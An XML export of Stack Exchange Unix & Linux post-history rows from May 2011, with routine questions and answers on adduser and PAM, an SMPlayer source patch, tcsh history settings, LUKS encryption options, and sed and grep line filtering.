  <row Id="33614" PostHistoryTypeId="5" PostId="13473" RevisionGUID="ae44c94f-8cb1-4b56-b716-7cf225fae2c6" CreationDate="2011-05-20T20:22:04.530" UserId="7638" Comment="added 451 characters in body; edited title" Text="I see [various examples][1] of how to add a user on Ubuntu server &#xD;&#xA;&#xD;&#xA;I have Ubuntu 10.04.2 LTS&#xD;&#xA;&#xD;&#xA;I was logged in as root and, when running `adduser`, my SSH command line asked me for both a 'new password' AND then a 'new UNIX password'.&#xD;&#xA;&#xD;&#xA;I was not quite sure what the difference is and wondering why it ask for two types of password.&#xD;&#xA;&#xD;&#xA;Why does the `adduser` command behave surprisingly and how do I go about investigating how and why it veers from the default Ubuntu behaviour?&#xD;&#xA;&#xD;&#xA;    --------&#xD;&#xA;    # adduser joe&#xD;&#xA;    Adding user `joe' ...&#xD;&#xA;    Adding new group `joe' (1007) ...&#xD;&#xA;    Adding new user `joe' (1003) with group `joe' ...&#xD;&#xA;    Creating home directory `/home/joe' ...&#xD;&#xA;    Copying files from `/etc/skel' ...&#xD;&#xA;    Enter new password:&#xD;&#xA;    Retype new password:&#xD;&#xA;    Enter new UNIX password:&#xD;&#xA;    ------&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtogeek.com/howto/ubuntu/add-a-user-on-ubuntu-server/&#xD;&#xA;&#xD;&#xA;**Update:** Since gaining a better understanding of the issue from feedback from mattdm and AlexD, I have modified this question from its original form which was: &quot;What's the difference between 'new UNIX password' and 'new password' on linux, when adding new user?&quot; " />
  <row Id="33615" PostHistoryTypeId="4" PostId="13473" RevisionGUID="ae44c94f-8cb1-4b56-b716-7cf225fae2c6" CreationDate="2011-05-20T20:22:04.530" UserId="7638" Comment="added 451 characters in body; edited title" Text="Why does the adduser command behave surprisingly?" />
  <row Id="33616" PostHistoryTypeId="2" PostId="13520" RevisionGUID="ace81559-d790-477d-94fa-64f3f4e158fd" CreationDate="2011-05-20T20:27:24.377" UserId="2343" Text="I've added this second answer, because **it works as a normal playlist** in SMPlayer, and it's better here for clarity...   &#xD;&#xA;&#xD;&#xA;I've had it working flawlessly via the playlist... &#xD;&#xA;&#xD;&#xA;This method requires a re-compilation of  SMPlayer, and a specific file-naming method... Only one function in SMPlayer's source is modified, and 3 headers are added to the same single source file...  I have compiled `smplayer_0.6.8` for Lucid... Maveric and Meerkat use `smplayer_0.6.9`.. One line in the later version is different, but that doesn't upset anything... Here is the modified function and headers for `smplayer_0.6.8`   &#xD;&#xA;&#xD;&#xA;btw, the zenity dialog in my previous answer is still of use for capturing the start and end times... &#xD;&#xA;&#xD;&#xA;**REMINDER** - The following source segments are for `smplayer_0.6.8`... The file to modify is: `../smplayer-0.6.9/src/findsubtitles/osparser.cpp`... The new segments are the same for '0.6.8' and '0.6.9',  but the originals differ by one line (very close to the end; just before the final `return hexhash;`)   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Add this first block of lines immediately below the existing `#include` headers  &#xD;&#xA;&#xD;&#xA;    // ====================&#xD;&#xA;    // fred mod begin block  &#xD;&#xA;    #include &lt;QFileInfo&gt;&#xD;&#xA;    #include &lt;QRegExp&gt;&#xD;&#xA;    #include &lt;QSettings&gt;&#xD;&#xA;    #include &quot;paths.h&quot;&#xD;&#xA;    // fred mod end block&#xD;&#xA;    // ==================&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;Here is the modified function&#xD;&#xA;&#xD;&#xA;    QString OSParser::calculateHash(QString filename) {&#xD;&#xA;	    QFile file(filename);&#xD;&#xA;&#xD;&#xA;	    if (!file.exists()) {&#xD;&#xA;		    qWarning(&quot;OSParser:calculateHash: error hashing file. File doesn't exist.&quot;);&#xD;&#xA;		    return QString();&#xD;&#xA;	    }&#xD;&#xA;&#xD;&#xA;	    file.open(QIODevice::ReadOnly);&#xD;&#xA;	    QDataStream in(&amp;file);&#xD;&#xA;	    in.setByteOrder(QDataStream::LittleEndian);&#xD;&#xA;	    quint64 size=file.size ();&#xD;&#xA;	    quint64 hash=size; &#xD;&#xA;	    quint64 a;&#xD;&#xA;	    for(int i = 0; i &lt; 8192; i++) {&#xD;&#xA;		    in &gt;&gt; a ; hash += a;&#xD;&#xA;	    };&#xD;&#xA;	    file.seek(size-65536);&#xD;&#xA;	    for(int i = 0; i &lt; 8192; i++) {&#xD;&#xA;		    in &gt;&gt; a ; hash += a;&#xD;&#xA;	    };&#xD;&#xA;&#xD;&#xA;      // =====================================================================&#xD;&#xA;      // fred mod begin block&#xD;&#xA;      //  &#xD;&#xA;      // A mod to enable unique smplayer .ini files to be created for  &#xD;&#xA;      //        content-identical media files whose file-names match&#xD;&#xA;      //        a specific pattern based on two timestamps. &#xD;&#xA;      //        This is the naming pattern:&#xD;&#xA;&#xD;&#xA;      //          &#xD;&#xA;      //           name.[00:11:22].[33.44.55].mkv&#xD;&#xA;      //              &#xD;&#xA;      //        The two time stamps indicate the start and end  points of a &#xD;&#xA;      //         clip to be played according to  settings in the unique .ini&#xD;&#xA;      //            &#xD;&#xA;      //        The so named files can be, and typically will be, soft (or hard) links.   &#xD;&#xA;      //        The &quot;original&quot; file can also named in this manner, if you like,    &#xD;&#xA;      //        but that would make the &quot;original&quot; start playing as a clip,&#xD;&#xA;      //          NOTE: soft links become invalid when you rename the original file.  &#xD;&#xA;      //&#xD;&#xA;      //  Note: For this system to work, you need to enable the following:&#xD;&#xA;      //        In SMPlayer's GUI, open the Options dialog...&#xD;&#xA;      //        In the  &quot;General&quot; tab... &quot;Media settings&quot;... &#xD;&#xA;      //          enable: 〼 &quot;Remember settings for all files (audio track, subtitles...)&quot; &#xD;&#xA;      //                     &quot;Remember time position&quot;   can be 'on' or 'off'; it is optional1&#xD;&#xA;      //                                                but it is disabled for these clips.    &#xD;&#xA;      //                     &quot;Store setings in&quot; must be: &quot;multiple ini files&quot; &#xD;&#xA;      //&#xD;&#xA;      QFileInfo fi(filename);&#xD;&#xA;      QString name = fi.fileName();&#xD;&#xA;      //&#xD;&#xA;      // ===================================================================&#xD;&#xA;      // This RegExp expects a name-part, &#xD;&#xA;      //             followed by 2 .[timestamps]  (Begin-time and End-time)&#xD;&#xA;      //             followed by a .extension&#xD;&#xA;      //              &#xD;&#xA;      //              .[ Begin  ].[  End   ]  &#xD;&#xA;      //      eg. name.[00:11:22].[33.44.55].mkv&#xD;&#xA;      //&#xD;&#xA;      //    Note: The delimiter between each numeric value can be any non-numeric character.&#xD;&#xA;      //          The leading dot '.' and square brackets '[]' must be as shown        &#xD;&#xA;      //          HH, MM, and SS must each be 2 valid time-digits    &#xD;&#xA;      //&#xD;&#xA;      QRegExp rx(&quot;^.+&quot;                      // NAME&#xD;&#xA;                 &quot;\\.\\[([0-9][0-9])[^0-9]&quot; // .[HH.&#xD;&#xA;                       &quot;([0-5][0-9])[^0-9]&quot; //   mm.&#xD;&#xA;                       &quot;([0-5][0-9])\\]&quot;    //   ss]&#xD;&#xA;                 &quot;\\.\\[([0-9][0-9])[^0-9]&quot; // .[HH.&#xD;&#xA;                       &quot;([0-5][0-9])[^0-9]&quot; //   mm.&#xD;&#xA;                       &quot;([0-5][0-9])\\]&quot;    //   ss]&#xD;&#xA;                 &quot;\\.([^0-9]+)$&quot;);          // .EXTN&#xD;&#xA;      //&#xD;&#xA;      QString qstrIni;&#xD;&#xA;      rx.setPatternSyntax(QRegExp::RegExp);&#xD;&#xA;      if(rx.exactMatch(name)) {&#xD;&#xA;          bool ok;&#xD;&#xA;          QString qstrDlm(&quot;.&quot;);&#xD;&#xA;          QString qstrBegEnd = rx.cap(1) + rx.cap(2) + rx.cap(3)&#xD;&#xA;                             + rx.cap(4) + rx.cap(5) + rx.cap(6);&#xD;&#xA;          hash += qstrBegEnd.toLongLong(&amp;ok,10); // The UNIQUE-FIER&#xD;&#xA;          //&#xD;&#xA;          quint32 quiBegSec=(rx.cap(1).toULong(&amp;ok,10)*3600)&#xD;&#xA;                           +(rx.cap(2).toULong(&amp;ok,10)*  60)&#xD;&#xA;                           +(rx.cap(3).toULong(&amp;ok,10));&#xD;&#xA;          quint32 quiEndSec=(rx.cap(4).toULong(&amp;ok,10)*3600)&#xD;&#xA;                           +(rx.cap(5).toULong(&amp;ok,10)*  60)&#xD;&#xA;                           +(rx.cap(6).toULong(&amp;ok,10));&#xD;&#xA;          quint32 quiDifSec=(quiEndSec-quiBegSec);&#xD;&#xA;          // &#xD;&#xA;          QString qstrBegIni = &quot;-ss &quot;     + QString::number(quiBegSec);&#xD;&#xA;          QString qstrEndIni = &quot;-endpos &quot; + QString::number(quiDifSec);&#xD;&#xA;                  qstrIni    = qstrBegIni + &quot; &quot; + qstrEndIni;&#xD;&#xA;      }&#xD;&#xA;      // fred mod end block&#xD;&#xA;      // =====================================================================&#xD;&#xA;      // fred NOTE: the following 2 lines are a single line in smplayer-0.6.9&#xD;&#xA;&#xD;&#xA;	    QString hexhash(&quot;&quot;);&#xD;&#xA;	    hexhash.setNum(hash,16);&#xD;&#xA;	&#xD;&#xA;      // =====================================================================&#xD;&#xA;      // fred mod begin block  &#xD;&#xA;	    if( !qstrIni.isEmpty() ) {&#xD;&#xA;          // ** The next code line is not ideal, but should be okay so long &#xD;&#xA;          //    as SMPlayer's options are set to use Multiple .ini files.  &#xD;&#xA;          //       The literal &quot;file_settings&quot; is HARDCODED, as It wasnt' straight&#xD;&#xA;          //       forward to get the value, The rest of the path was easily available &#xD;&#xA;          //       without any significant mods, which &quot;file_settings&quot; would require.    &#xD;&#xA;          // TODO: Check for Multiple .ini Option being enabled.&#xD;&#xA;          //  &#xD;&#xA;          QString  dir_settings = Paths::configPath() + &quot;/file_settings&quot;;&#xD;&#xA;          QString fqfn_settings = dir_settings + &quot;/&quot; + hexhash[0] + &quot;/&quot; + hexhash + &quot;.ini&quot;;&#xD;&#xA;&#xD;&#xA;          QSettings set(fqfn_settings, QSettings::IniFormat);&#xD;&#xA;          set.beginGroup(&quot;file_settings&quot;);&#xD;&#xA;          set.setValue(  &quot;starting_time&quot;, &quot;0&quot; );&#xD;&#xA;          set.setValue(  &quot;mplayer_additional_options&quot;, qstrIni );&#xD;&#xA;	    }&#xD;&#xA;      // fred mod end block&#xD;&#xA;      // =====================================================================&#xD;&#xA;&#xD;&#xA;	    return hexhash;&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="33617" PostHistoryTypeId="2" PostId="13521" RevisionGUID="b8ef44dc-6cc0-43d3-989e-25e2608b0711" CreationDate="2011-05-20T20:31:04.787" UserId="7638" Text="The rules for the behaviour of `adduser` command is governed by configuration information that is stored in `/etc/pam.d/passwd` or files that it includes (i.e `/etc/pam.d/common-password`). &#xD;&#xA;&#xD;&#xA;PAM means *Pluggable Authentication Modules*&#xD;&#xA;&#xD;&#xA;This page gives some *newby friendly* insight into the workings of PAM (but it appears to relate to suse-linux, not Ubuntu):&#xD;&#xA;&#xD;&#xA; - http://linuxmafia.com/pub/linux/suse-linux-internals/chapter25.html &#xD;&#xA;&#xD;&#xA;This page gives some *Ubuntu 10.04.2 LTS focused* insight into the workings of PAM (but it appears to be aimed at the more experienced linux user):&#xD;&#xA;&#xD;&#xA; - http://manpages.ubuntu.com/manpages/lucid/man5/pam.conf.5.html&#xD;&#xA;&#xD;&#xA;Between the two pages you might make sense of what's going on in the `/etc/pam.d/passwd` file." />
  <row Id="33618" PostHistoryTypeId="25" PostId="13515" RevisionGUID="744d4a32-cfcd-47d4-a5ae-cda73de997c3" CreationDate="2011-05-20T21:12:26.743" Comment="http://twitter.com/#!/StackUnix/status/71684732110385152" />
  <row Id="33619" PostHistoryTypeId="6" PostId="13468" RevisionGUID="e5bf5656-0f74-471f-b79e-fd1d9c84a752" CreationDate="2011-05-20T21:23:34.320" UserId="885" Comment="edited tags" Text="élinuxàéx11àéwaylandà" />
  <row Id="33620" PostHistoryTypeId="5" PostId="13471" RevisionGUID="e631244a-7321-498c-a61c-b5794132df8e" CreationDate="2011-05-20T21:26:00.857" UserId="885" Comment="formatting" Text="I'm trying to add the date to my tcsh history information and I can't seem to figure out how to make it work.  The tcsh man page reads like this for the history setting:&#xD;&#xA;&#xD;&#xA;&gt;The first word indicates the number of history events to save.  The optional second word (+) indicates the format in which history is printed;  if  not given, \`%h\t%T\t%R\n' is used.  The format sequences are described below  under  prompt;  note  the variable meaning of `%R'.  Set to `100' by default.&#xD;&#xA;&#xD;&#xA;I've tried the following put a line in my `.cshrc` file using what they say is the default format, but I get an error every time I source.  Here is what I've tried (with the resulting error in brackets):&#xD;&#xA;&#xD;&#xA;`set history = 2000 '%h\t%T\t%R\n'` *[set: Variable name must begin with a letter.]*  &#xD;&#xA;`set history = 2000 %h\t%T\t%R\n` *[set: Variable name must begin with a letter.]*  &#xD;&#xA;`set history = 2000 $DATE='%h\t%T\t%R\n'` *[DATE: Undefined variable.]*  &#xD;&#xA;`set history = 2000 $FORMAT='%h\t%T\t%R\n'` *[FORMAT: Undefined variable.]*  &#xD;&#xA;`set history = 2000 $TIME='%h\t%T\t%R\n'` *[TIME: Undefined variable.]*  &#xD;&#xA;&#xD;&#xA;The following doesn't give me a source error, it gives me a `history: Badly formed number.` error when I try to use history:&#xD;&#xA;&#xD;&#xA;    set history = '2000 %h\t%T\t%R\n'&#xD;&#xA;&#xD;&#xA;I'm obviously just thrashing around here, I don't have a lot of experience with modifying the `.cshrc` file.  Any help would be appreciated.&#xD;&#xA;" />
  <row Id="33621" PostHistoryTypeId="5" PostId="1062" RevisionGUID="9106ed8c-3809-4806-87d1-d747c415166c" CreationDate="2011-05-20T21:30:31.213" UserId="885" Comment="more grammar improvements" Text="For the same reasons why each daemon should have minimal rights. Apache can run as root. It is designed to perform one task and surely nothing bad can happen?&#xD;&#xA;&#xD;&#xA;But assume apache is not bug-free. Bugs are discovered from time to time. Sometimes it can even be arbitrary code execution or similar. Now with apache running as root, it can access anything — for example it can load a rootkit into kernel and hide itself.&#xD;&#xA;&#xD;&#xA;On the other hand, writing a user-level rootkit is very hard. It has to override different programs (like `ps`) inside `/home`, which can raise suspicion due to the extra disk space used. It might not know the exact configuration and `forget to include e.g. `gnome-system-monitor` therefore exposing itself. It has to cover bash, tcsh and any shell you happen to use (to start itself). It would have to work with different configurations instead of 'simply' overriding buch of callbacks.  &#xD;&#xA;&#xD;&#xA;Consider that not so long ago there was arbitrary code execution discovered in... Adobe Reader.  &#xD;&#xA;&#xD;&#xA;Other reason is user mistakes. It is better to be warned before erasing the whole disk by one command.&#xD;&#xA;&#xD;&#xA;Third reason is different shells. Root shell should be installed on `/` in case that rescue of system needed to be performed. Users' shells can be installed on `/usr` (for example user can use zsh).&#xD;&#xA;&#xD;&#xA;Forth reason is that different programs don't work as root. They specifically know they are not supposed to, so you would need to patch system.&#xD;&#xA;&#xD;&#xA;Fifth reason is that `/root` should not be on separate partition while `/home` can (and should). Having `/home` separate helps for various reasons.&#xD;&#xA;&#xD;&#xA;**ALSO**: WHY NOT USE AS NORMAL USER. You more often don't need to have root rights than do. It is a very little cost for security.&#xD;&#xA;" />
  <row Id="33622" PostHistoryTypeId="5" PostId="1279" RevisionGUID="05ad4012-8709-4b35-8235-0d8ae42e1fbf" CreationDate="2011-05-20T21:39:13.110" UserId="885" Comment="further English improvements" Text="I have a few files sized &gt; 1 GB each. I need to remove last few bytes from the files. How can I do it? I prefer to edit file in place to save disk space.&#xD;&#xA;&#xD;&#xA;I am on HP-UX.&#xD;&#xA;" />
  <row Id="33623" PostHistoryTypeId="4" PostId="1279" RevisionGUID="05ad4012-8709-4b35-8235-0d8ae42e1fbf" CreationDate="2011-05-20T21:39:13.110" UserId="885" Comment="further English improvements" Text="How can I edit a large file in place?" />
  <row Id="33624" PostHistoryTypeId="5" PostId="1533" RevisionGUID="c363948c-54e5-4610-97ef-865e4470d5c3" CreationDate="2011-05-20T21:53:12.933" UserId="885" Comment="added answer content" Text="Since this got no response I asked this question and got [an answer on Stack Overflow](http://stackoverflow.com/q/3620798/) from [michaelmichael](http://stackoverflow.com/users/150746/michaelmichael).&#xD;&#xA;&#xD;&#xA;&gt; Make sure you've updated rvm with the `rvm update` command. From there you can install 1.9.2 with `rvm install 1.9.2`. It'll install and compile ruby 1.9.2-p0. From there, it should interpret `1.9.2` as the final release. I'm also on a mac, and this worked for me after having rc2 installed.&#xD;&#xA;" />
  <row Id="33625" PostHistoryTypeId="2" PostId="13522" RevisionGUID="fac154d1-f0d4-4b19-be97-89e53361dec9" CreationDate="2011-05-20T21:56:56.550" UserId="732" Text="You could check out how Slackware and Arch distros do their installs.  Slackware wants you to install a medium-sized set of packages from a CD-ROM disk.  Arch installs a bare minimum from a CD, then updates itself with the latest and greatest from repositories on the Internet." />
  <row Id="33626" PostHistoryTypeId="6" PostId="1459" RevisionGUID="2e09588a-5518-4488-afb1-c27aa898434c" CreationDate="2011-05-20T21:59:57.423" UserId="885" Comment="edited tags" Text="ébashàésshàéquotingà" />
  <row Id="33627" PostHistoryTypeId="6" PostId="13489" RevisionGUID="d56fb2c6-bbbb-42ef-8fa0-509109940b65" CreationDate="2011-05-20T22:10:47.870" UserId="885" Comment="edited tags" Text="écompilingàéopensuseàésoftwareöinstallationà" />
  <row Id="33628" PostHistoryTypeId="2" PostId="13523" RevisionGUID="08c482e4-49a6-4cfa-bd32-0609856ec340" CreationDate="2011-05-20T22:13:37.930" UserId="885" Text="Guess: the new version was installed in `/usr/local` (in particular, it installed `/usr/local/bin/qmake`), since you didn't specify a location. (`/usr/local` is probably the right place.) The distribution-provided qmake is in `/usr/bin/qmake`. Your running shell has cached the information that `qmake` is `/usr/bin/qmake`. Run `hash qmake` to make it refresh its cache. A new shell instance will find `/usr/local/bin/qmake`, as long as `/usr/local/bin` is ahead of `/usr/bin` in the `$PATH` (which it should be).&#xD;&#xA;" />
  <row Id="33629" PostHistoryTypeId="5" PostId="13501" RevisionGUID="faf9f451-75d8-4797-9223-b69fe51f6f35" CreationDate="2011-05-20T22:22:07.943" UserId="885" Comment="mention glob qualifiers, with examples; mention bash" Text="It depends on the precise functionality of `find` that you are relying on.  If it is (principally) the finding functionality, some shells support recursive globs. E.g., with `zsh`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    % find . -name \*c&#xD;&#xA;    ./a/b/foo.c&#xD;&#xA;    ./a/bar.c&#xD;&#xA;    ./baz.c&#xD;&#xA;    inoshiro% ls *.c&#xD;&#xA;    baz.c&#xD;&#xA;    % ls **/*.c &#xD;&#xA;    a/bar.c  a/b/foo.c  baz.c&#xD;&#xA;&#xD;&#xA;Zsh has a lot more find-like possibilities through [glob qualifiers](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Glob-Qualifiers) (look near the end of `man zshexpn`). For example:&#xD;&#xA;&#xD;&#xA;`ls -l **/*(.)`  ≈  `find -type f -ls`  &#xD;&#xA;`ls *(m-2u:$USER:)`  ≈  `find -mtime -2 -user $USER`  &#xD;&#xA;&#xD;&#xA;Bash 4 also has `**/` (you need to enable it with `shopt -s globstar`), but nothing like glob qualifiers.&#xD;&#xA;" />
  <row Id="33631" PostHistoryTypeId="2" PostId="13524" RevisionGUID="d09ff1f0-1cfc-482f-ab2b-6e6dd20a55a1" CreationDate="2011-05-20T23:06:24.233" UserId="4477" Text="Hiding the fact that you are using encryption is very hard. Consider that some minimal decryption software (like in initrd) must be stored in plain text somewhere. Seeing that and a disk full of random data people _might_ find out.&#xD;&#xA;&#xD;&#xA;If you can't prevent that you might as well take advantage of LUKS. For example if you have multiple users they can have their own password.&#xD;&#xA;&#xD;&#xA;About the cipher modes and algorithms. AES is the most widely used algorithm and it supports 128, 192 and 256 bit keys. None of them are even close to being broken. CBC means cipher block chaining. It should not be used for disk encryption because it is vulnerable to watermarking. Use the [XTS][1] mode instead. [Essiv][2] means that the IV is secret too. This also prevents watermarking. SHA512 is a hashing algorithm used to generate the encryption key from the password. It is considered secure.&#xD;&#xA;&#xD;&#xA;You may want to look at [loop-aes][3]. It has no header, uses multiple 64x256 bit keys and you can use an external disk (like a pendrive) for storing the keys encrypted with your password. Unfortunately it requires kernel patching.&#xD;&#xA;&#xD;&#xA;BTW I agree with the comments. There is no most secure way. Think about what are you trying to protect and what kind of attacks do you expect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/XEX-TCB-CTS#XTS&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/ESSIV#ESSIV&#xD;&#xA;  [3]: http://sourceforge.net/projects/loop-aes/" />
  <row Id="33632" PostHistoryTypeId="25" PostId="13508" RevisionGUID="1aa4de61-1da5-4c63-a107-0d0f87d06601" CreationDate="2011-05-21T00:12:27.577" Comment="http://twitter.com/#!/StackUnix/status/71730034024529921" />
  <row Id="33633" PostHistoryTypeId="2" PostId="13525" RevisionGUID="a5d83be9-df1b-4916-84bf-3ad5db052c2d" CreationDate="2011-05-21T00:43:58.377" UserId="1389" Text="![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/tGD5v.png&#xD;&#xA;&#xD;&#xA;Pretend I am working with this file.&#xD;&#xA;&#xD;&#xA;The beginning of the first visible line is obscured, so ignore that. 43 is the beginning of the next line, and that line would be deleted.&#xD;&#xA;&#xD;&#xA;The next line (which begins with 44 and ends with a period) would be deleted.&#xD;&#xA;&#xD;&#xA;The next line (which consists solely of 424) is also gone.&#xD;&#xA;&#xD;&#xA;The next line (which consists of '11. King and Hero') is also gone.&#xD;&#xA;&#xD;&#xA;The next line stays." />
  <row Id="33634" PostHistoryTypeId="1" PostId="13525" RevisionGUID="a5d83be9-df1b-4916-84bf-3ad5db052c2d" CreationDate="2011-05-21T00:43:58.377" UserId="1389" Text="sed one-liner to delete any line that begins with a digit" />
  <row Id="33635" PostHistoryTypeId="3" PostId="13525" RevisionGUID="a5d83be9-df1b-4916-84bf-3ad5db052c2d" CreationDate="2011-05-21T00:43:58.377" UserId="1389" Text="ésedàéregexà" />
  <row Id="33636" PostHistoryTypeId="2" PostId="13526" RevisionGUID="24343396-2478-4786-8839-0d390d1f94ea" CreationDate="2011-05-21T00:51:41.130" UserId="3169" Text="    sed -e '/^[0-9]/d' filename &gt; filename.new&#xD;&#xA;&#xD;&#xA;or to modify in place&#xD;&#xA;&#xD;&#xA;    sed -i -e '/^[0-9]/d' filename" />
  <row Id="33637" PostHistoryTypeId="2" PostId="13527" RevisionGUID="19498c77-b589-44df-8965-9d7c204aa092" CreationDate="2011-05-21T00:55:10.710" UserId="3997" Text="    sed -e '/^[0-9].*$/d' oldfile &gt; newfile" />
  <row Id="33638" PostHistoryTypeId="12" PostId="13527" RevisionGUID="b099c74c-04b7-4177-91e1-2116514d4c02" CreationDate="2011-05-21T00:56:06.713" UserId="3997" Text="[{&quot;Id&quot;:3997,&quot;DisplayName&quot;:&quot;John&quot;}]" />
  <row Id="33639" PostHistoryTypeId="13" PostId="13527" RevisionGUID="9f8568bd-2590-445f-baec-35799b3fe59e" CreationDate="2011-05-21T00:57:35.497" UserId="3997" Text="[{&quot;Id&quot;:3997,&quot;DisplayName&quot;:&quot;John&quot;}]" />
  <row Id="33640" PostHistoryTypeId="2" PostId="13528" RevisionGUID="fe8e5ae6-e0b7-4e69-bec6-4c6954b0b719" CreationDate="2011-05-21T01:30:32.473" UserId="1222" Text="Even without any redirection, or with nothing but `&gt;logfile 2&gt;&amp;1`, you're not guaranteed to see output in order of generation.&#xD;&#xA;&#xD;&#xA;For starters, the stdout from the application will be line-buffered (to tty) or buffered (to a pipeline) but stderr is unbuffered, so relationships between the order of output are broken as far as a reader is concerned. Subsequent stages in any pipeline you could concoct will not get deterministically ordered access to the two streams (they are conceptually things happening in parallel, and you're always subject to the scheduler - if by the time your reader gets a slice the writer has already written to both pipes, you cannot tell which came first).&#xD;&#xA;&#xD;&#xA;&quot;[T]he order they happen&quot; is only really known to the application. Ordering of output across stdout/stderr is a well-known - classic, perhaps - problem." />
  <row Id="33641" PostHistoryTypeId="17" PostId="13530" RevisionGUID="1c5ae5f8-6559-4c39-99ee-1e75005a6451" CreationDate="2011-05-21T01:54:23.107" UserId="-1" Comment="from http://stackoverflow.com/questions/6068045/problem-installing-software-in-unix-sun-solaris/6068064#6068064" Text="" />
  <row Id="33642" PostHistoryTypeId="17" PostId="13531" RevisionGUID="58db5a7f-fab3-49f7-965c-6252aa10b6e7" CreationDate="2011-05-21T01:54:23.107" UserId="-1" Comment="from http://stackoverflow.com/questions/6068045/problem-installing-software-in-unix-sun-solaris/6068092#6068092" Text="" />
  <row Id="33643" PostHistoryTypeId="17" PostId="13532" RevisionGUID="f08068ea-5d2d-492a-bfd6-96e03140517d" CreationDate="2011-05-21T01:54:23.107" UserId="-1" Comment="from http://stackoverflow.com/questions/6068045/problem-installing-software-in-unix-sun-solaris/6068222#6068222" Text="" />
  <row Id="33644" PostHistoryTypeId="2" PostId="13530" RevisionGUID="c4b8bb87-e9c7-4a1c-a16e-5b79b57fd82a" CreationDate="2011-05-20T06:04:51.883" UserDisplayName="Wyzard" Text="Those are all GNU/Linux distributions.  They're not applications you'd install in Solaris, they're entire operating systems that you'd install *instead* of Solaris." />
  <row Id="33645" PostHistoryTypeId="2" PostId="13531" RevisionGUID="20359443-8e49-443e-841c-fedc11cea650" CreationDate="2011-05-20T06:09:11.613" UserId="3032" Text="Those are all Linux distributions (operating systems), not programs which you install.&#xD;&#xA;&#xD;&#xA;If you want to try one of them, just burn the ISO onto a disk and boot it up.&#xD;&#xA;&#xD;&#xA;I wouldn't suggest Solaris or any other non-mainstream OS to new users, as it will be a pain to find support. Try Ubuntu 10.10 or 10.04, as that distribution is aimed at newer users." />
  <row Id="33646" PostHistoryTypeId="2" PostId="13532" RevisionGUID="d97b2839-9a8f-4fcc-a65b-b2a3eef5b10f" CreationDate="2011-05-20T06:26:35.057" UserDisplayName="paxdiablo" Text="Solaris is not a Linux distribution so, if you have binary software which can be installed on any of those operating systems listed (which _are_ all Linux distros), it won't install on Solaris.&#xD;&#xA;&#xD;&#xA;In fact, unless you're running Solarix/x86, even the lowest binary level is likely to be totally incompatible. The vast majority of Solaris installations we deal with are still Solaris-on-SPARC, which is fundamentally incompatible with x86 operating systems.&#xD;&#xA;&#xD;&#xA;If you have the source code, you could possibly compile it on Solaris but:&#xD;&#xA;&#xD;&#xA;1. It's not something I'd suggest for a novice; and&#xD;&#xA;2. Solaris is different enough from Linux to cause some fundamental problems (in my experience).&#xD;&#xA;" />
  <row Id="33647" PostHistoryTypeId="2" PostId="13529" RevisionGUID="fc6a0baa-3997-4651-8130-ffea48bf316e" CreationDate="2011-05-20T06:03:10.673" UserDisplayName="Tapsi" Text="Hi All,&#xD;&#xA;&#xD;&#xA;   I am new to UNIX... i have some software which need to be installed in UNIX...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;i have below list of OS provided by thrid party software provider.. can any one help me out which OS Software will be compatable with SOLARIs&#xD;&#xA;&#xD;&#xA;examaple i want to install oracle.rpm for solaris but oracle has not provided rpm for solaris.. but they have provided rpms for below OS.. so my question is which one will be compatible for Sun Solaris&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;CentOS_CentOS-5/        &#xD;&#xA;Fedora_12/              &#xD;&#xA;Fedora_13/              &#xD;&#xA;RHEL_5/                 &#xD;&#xA;SLES_9/                 &#xD;&#xA;SLE_10_SDK/             &#xD;&#xA;SLE_11_SP1/             &#xD;&#xA;openSUSE_11.3/          &#xD;&#xA;xUbuntu_10.04/  &#xD;&#xA;&lt;/pre&gt;" />
  <row Id="33648" PostHistoryTypeId="1" PostId="13529" RevisionGUID="fc6a0baa-3997-4651-8130-ffea48bf316e" CreationDate="2011-05-20T06:03:10.673" UserDisplayName="Tapsi" Text="Problem installing software in unix (sun solaris)" />
  <row Id="33649" PostHistoryTypeId="3" PostId="13529" RevisionGUID="fc6a0baa-3997-4651-8130-ffea48bf316e" CreationDate="2011-05-20T06:03:10.673" UserDisplayName="Tapsi" Text="ésolarisà" />
  <row Id="33650" PostHistoryTypeId="17" PostId="13529" RevisionGUID="1b82be6f-aa3a-4172-b2ca-c30ab660189a" CreationDate="2011-05-21T01:54:23.107" UserId="-1" Comment="from http://stackoverflow.com/questions/6068045/problem-installing-software-in-unix-sun-solaris" Text="" />
  <row Id="33651" PostHistoryTypeId="2" PostId="13533" RevisionGUID="6d5bfa18-5699-408b-9d4e-8609d464dd2e" CreationDate="2011-05-21T02:04:22.550" UserId="1078" Text="I'd use `grep(1)` for this:&#xD;&#xA;&#xD;&#xA;    grep -v '^[0-9]' filename&#xD;&#xA;&#xD;&#xA;`^[0-9]` matches any line that begins with a digit, and `-v` excludes the lines that match, instead of including. You can also use the character class `[:digit:]` instead of `[0-9]`.&#xD;&#xA;&#xD;&#xA;With `grep`, `sed` and `awk`, my general rule is that for matching and simple extraction, use `grep`, for stateless re-writing, use `sed` and for stateful modifications, use `awk`. That is why I suggest using `grep` instead of `sed` as you asked in your question (and others have already answered for `sed`)." />
